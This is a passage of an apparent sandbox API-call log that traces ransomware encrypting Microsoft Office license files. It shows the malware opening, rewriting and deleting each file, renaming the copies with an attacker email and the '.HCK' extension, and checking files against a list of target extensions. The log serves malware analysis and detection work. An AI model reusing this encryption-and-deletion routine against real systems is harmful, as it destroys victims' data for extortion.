Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString=".doc") returned 4 [0235.950] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".docx") returned 5 [0235.950] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.950] lstrlenW (lpString=".pdf") returned 4 [0235.950] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".xls") returned 4 [0235.950] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".xlsx") returned 5 [0235.950] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.950] lstrlenW (lpString=".ppt") returned 4 [0235.950] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString=".zip") returned 4 [0235.950] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".rar") returned 4 [0235.950] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".bz2") returned 4 [0235.950] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString=".7z") returned 3 [0235.950] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString=".dbf") returned 4 [0235.950] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString=".1cd") returned 4 [0235.950] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.950] lstrlenW (lpString=".jpg") returned 4 [0235.950] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString=".doc") returned 4 [0235.951] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".docx") returned 5 [0235.951] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.951] lstrlenW (lpString=".pdf") returned 4 [0235.951] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".xls") returned 4 [0235.951] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".xlsx") returned 5 [0235.951] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.951] lstrlenW (lpString=".ppt") returned 4 [0235.951] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString=".zip") returned 4 [0235.951] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".rar") returned 4 [0235.951] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".bz2") returned 4 [0235.951] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString=".7z") returned 3 [0235.951] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString=".dbf") returned 4 [0235.951] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString=".1cd") returned 4 [0235.951] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0235.951] lstrlenW (lpString=".jpg") returned 4 [0235.951] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.951] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.952] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23 [0235.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0236.128] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11143) returned 1 [0236.128] CloseHandle (hObject=0x3c4) returned 1 [0236.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0236.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.480] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.480] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.481] GetLastError () returned 0x0 [0236.481] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0236.486] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0236.487] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.487] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x102, lpOverlapped=0x0) returned 1 [0236.488] SetEndOfFile (hFile=0x4ac) returned 1 [0236.488] CloseHandle (hObject=0x4ac) returned 1 [0236.488] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.488] SetEndOfFile (hFile=0x4d4) returned 1 [0236.490] CloseHandle (hObject=0x4d4) returned 1 [0236.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0236.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.491] lstrlenW (lpString=".doc") returned 4 [0236.491] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.491] lstrlenW (lpString=".docx") returned 5 [0236.491] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.491] lstrlenW (lpString=".pdf") returned 4 [0236.491] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.491] lstrlenW (lpString=".xls") returned 4 [0236.491] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.491] lstrlenW (lpString=".xlsx") returned 5 [0236.491] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.492] lstrlenW (lpString=".ppt") returned 4 [0236.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".zip") returned 4 [0236.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".rar") returned 4 [0236.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".bz2") returned 4 [0236.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".7z") returned 3 [0236.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".dbf") returned 4 [0236.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".1cd") returned 4 [0236.492] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".jpg") returned 4 [0236.492] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".doc") returned 4 [0236.492] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".docx") returned 5 [0236.492] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.492] lstrlenW (lpString=".pdf") returned 4 [0236.492] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".xls") returned 4 [0236.492] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".xlsx") returned 5 [0236.492] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.492] lstrlenW (lpString=".ppt") returned 4 [0236.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.492] lstrlenW (lpString=".zip") returned 4 [0236.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.492] lstrlenW (lpString=".rar") returned 4 [0236.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.493] lstrlenW (lpString=".bz2") returned 4 [0236.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.493] lstrlenW (lpString=".7z") returned 3 [0236.493] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.493] lstrlenW (lpString=".dbf") returned 4 [0236.493] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.493] lstrlenW (lpString=".1cd") returned 4 [0236.493] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0236.493] lstrlenW (lpString=".jpg") returned 4 [0236.493] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.493] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.493] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0236.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.495] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3219) returned 1 [0236.495] CloseHandle (hObject=0x4d4) returned 1 [0236.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0236.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.495] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.496] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.496] GetLastError () returned 0x0 [0236.496] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xc93, lpOverlapped=0x0) returned 1 [0236.498] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xca0, lpOverlapped=0x0) returned 1 [0236.499] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.499] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x122, lpOverlapped=0x0) returned 1 [0236.499] SetEndOfFile (hFile=0x4ac) returned 1 [0236.499] CloseHandle (hObject=0x4ac) returned 1 [0236.499] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.499] SetEndOfFile (hFile=0x4d4) returned 1 [0236.501] CloseHandle (hObject=0x4d4) returned 1 [0236.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0236.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.502] lstrlenW (lpString=".doc") returned 4 [0236.502] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".docx") returned 5 [0236.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.503] lstrlenW (lpString=".pdf") returned 4 [0236.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".xls") returned 4 [0236.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".xlsx") returned 5 [0236.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.503] lstrlenW (lpString=".ppt") returned 4 [0236.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".zip") returned 4 [0236.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".rar") returned 4 [0236.503] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".bz2") returned 4 [0236.503] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".7z") returned 3 [0236.503] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".dbf") returned 4 [0236.503] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".1cd") returned 4 [0236.503] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".jpg") returned 4 [0236.503] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".doc") returned 4 [0236.503] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".docx") returned 5 [0236.503] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.503] lstrlenW (lpString=".pdf") returned 4 [0236.503] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".xls") returned 4 [0236.503] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString=".xlsx") returned 5 [0236.503] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.503] lstrlenW (lpString=".ppt") returned 4 [0236.503] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.503] lstrlenW (lpString=".zip") returned 4 [0236.503] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.504] lstrlenW (lpString=".rar") returned 4 [0236.504] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.504] lstrlenW (lpString=".bz2") returned 4 [0236.504] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.504] lstrlenW (lpString=".7z") returned 3 [0236.504] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.504] lstrlenW (lpString=".dbf") returned 4 [0236.504] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.504] lstrlenW (lpString=".1cd") returned 4 [0236.504] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0236.504] lstrlenW (lpString=".jpg") returned 4 [0236.504] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.504] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.504] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0236.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.506] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3103) returned 1 [0236.506] CloseHandle (hObject=0x4d4) returned 1 [0236.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0236.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0236.507] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.507] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.508] GetLastError () returned 0x0 [0236.508] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xc1f, lpOverlapped=0x0) returned 1 [0236.511] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xc20, lpOverlapped=0x0) returned 1 [0236.512] ReadFile (in: hFile=0x4d4, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.512] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10a, lpOverlapped=0x0) returned 1 [0236.512] SetEndOfFile (hFile=0x4ac) returned 1 [0236.512] CloseHandle (hObject=0x4ac) returned 1 [0236.512] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.513] SetEndOfFile (hFile=0x4d4) returned 1 [0236.519] CloseHandle 